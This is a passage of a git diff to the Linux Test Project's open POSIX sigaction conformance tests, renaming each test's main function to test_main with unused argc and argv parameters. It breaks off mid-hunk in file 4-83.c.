--- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-39.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-39.c @@ -38,7 +38,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) exit(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; if ((pid = fork()) == 0) { diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-4.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-4.c index d5d0869f..c1f74817 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-4.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-4.c @@ -35,7 +35,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) exit(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-40.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-40.c index c4a192d9..cc747620 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-40.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-40.c @@ -38,7 +38,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) exit(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; if ((pid = fork()) == 0) { diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-41.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-41.c index 1c73ceff..7a13771f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-41.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-41.c @@ -38,7 +38,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) exit(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; if ((pid = fork()) == 0) { diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-42.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-42.c index 959f3216..080275bf 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-42.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-42.c @@ -38,7 +38,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) exit(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; if ((pid = fork()) == 0) { diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-43.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-43.c index 736f67c2..f52f0dd1 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-43.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-43.c @@ -38,7 +38,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) exit(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; if ((pid = fork()) == 0) { diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-44.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-44.c index 715cdba4..000e3f46 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-44.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-44.c @@ -38,7 +38,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) exit(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; if ((pid = fork()) == 0) { diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-45.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-45.c index 715cdba4..000e3f46 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-45.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-45.c @@ -38,7 +38,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) exit(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; if ((pid = fork()) == 0) { diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-46.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-46.c index 185776ee..f6025bb9 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-46.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-46.c @@ -38,7 +38,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) exit(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; if ((pid = fork()) == 0) { diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-47.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-47.c index 96722c6c..e66a54fe 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-47.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-47.c @@ -38,7 +38,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) exit(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; if ((pid = fork()) == 0) { diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-48.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-48.c index 643b36ec..19752bea 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-48.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-48.c @@ -38,7 +38,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) exit(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; if ((pid = fork()) == 0) { diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-49.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-49.c index 624d576b..e75c5945 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-49.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-49.c @@ -38,7 +38,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) exit(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; if ((pid = fork()) == 0) { diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-5.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-5.c index 0e1de9ef..b1795fac 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-5.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-5.c @@ -35,7 +35,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) exit(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-50.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-50.c index bf53fd04..105b08a0 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-50.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-50.c @@ -38,7 +38,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) exit(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; if ((pid = fork()) == 0) { diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-51.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-51.c index 4fd3c889..c70c2abe 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-51.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-51.c @@ -38,7 +38,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) exit(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; if ((pid = fork()) == 0) { diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-52.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-52.c index 2bcda90c..cecd4700 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-52.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-52.c @@ -38,7 +38,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) exit(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; if ((pid = fork()) == 0) { diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-53.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-53.c index 6b4107a3..e5a74d21 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-53.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-53.c @@ -22,7 +22,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-54.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-54.c index 8267ed2b..4ed85240 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-54.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-54.c @@ -22,7 +22,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-55.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-55.c index 50aa80c1..d0588aff 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-55.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-55.c @@ -22,7 +22,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-56.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-56.c index 08f059b4..56652924 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-56.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-56.c @@ -22,7 +22,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-57.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-57.c index 43d4cba4..f2b2ff7e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-57.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-57.c @@ -22,7 +22,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-58.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-58.c index 9cf85191..60592306 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-58.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-58.c @@ -22,7 +22,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-59.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-59.c index 3a9c1e00..20c581bd 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-59.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-59.c @@ -22,7 +22,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-6.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-6.c index 018e745b..6134a2d3 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-6.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-6.c @@ -35,7 +35,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) exit(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-60.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-60.c index 0e3bc9d3..bb5a4e43 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-60.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-60.c @@ -22,7 +22,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-61.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-61.c index aa08b220..f2fb20cd 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-61.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-61.c @@ -22,7 +22,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-62.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-62.c index 192cae68..326f77ce 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-62.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-62.c @@ -22,7 +22,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-63.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-63.c index 2a28dfe1..5587a168 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-63.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-63.c @@ -22,7 +22,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-64.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-64.c index 7262039b..c2d8ffe5 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-64.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-64.c @@ -22,7 +22,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-65.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-65.c index 2bd83021..2075bab6 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-65.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-65.c @@ -22,7 +22,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-66.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-66.c index bef06376..d8cd15df 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-66.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-66.c @@ -22,7 +22,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-67.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-67.c index 62b3ee0c..885f3594 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-67.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-67.c @@ -22,7 +22,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-68.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-68.c index a8b9927e..176adca6 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-68.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-68.c @@ -22,7 +22,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-69.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-69.c index a90a7603..743ccf9e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-69.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-69.c @@ -22,7 +22,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-7.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-7.c index 8f8905d6..721f2ed6 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-7.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-7.c @@ -35,7 +35,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) exit(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-70.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-70.c index bbb35adf..7d2df406 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-70.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-70.c @@ -22,7 +22,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-71.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-71.c index 8267ed2b..4ed85240 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-71.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-71.c @@ -22,7 +22,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-72.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-72.c index 47ed9c14..8edc5123 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-72.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-72.c @@ -22,7 +22,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-73.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-73.c index 694301ad..93b4bca3 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-73.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-73.c @@ -22,7 +22,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-74.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-74.c index 4eb18e08..806416fe 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-74.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-74.c @@ -22,7 +22,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-75.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-75.c index 66b8579d..fc7d6aa9 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-75.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-75.c @@ -22,7 +22,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-76.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-76.c index e90c3728..2d0d807c 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-76.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-76.c @@ -22,7 +22,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-77.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-77.c index 8a9aa8af..ae99a847 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-77.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-77.c @@ -22,7 +22,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-78.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-78.c index 4bb1e112..36ebb577 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-78.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-78.c @@ -22,7 +22,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-79.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-79.c index ce3afda4..57b61e61 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-79.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-79.c @@ -22,7 +22,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-8.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-8.c index f8ccf622..1ead958b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-8.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-8.c @@ -35,7 +35,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) exit(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-80.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-80.c index ba2646d5..cd15e746 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-80.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-80.c @@ -22,7 +22,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-81.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-81.c index 2f210586..244c5411 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-81.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-81.c @@ -22,7 +22,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-82.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-82.c index d0a688c5..7db3e8ad 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-82.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-82.c @@ -22,7 +22,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-83.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-83.c index aa853f2e..dd1ac915 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-83.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-83.c @@ -22,7 +22,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc 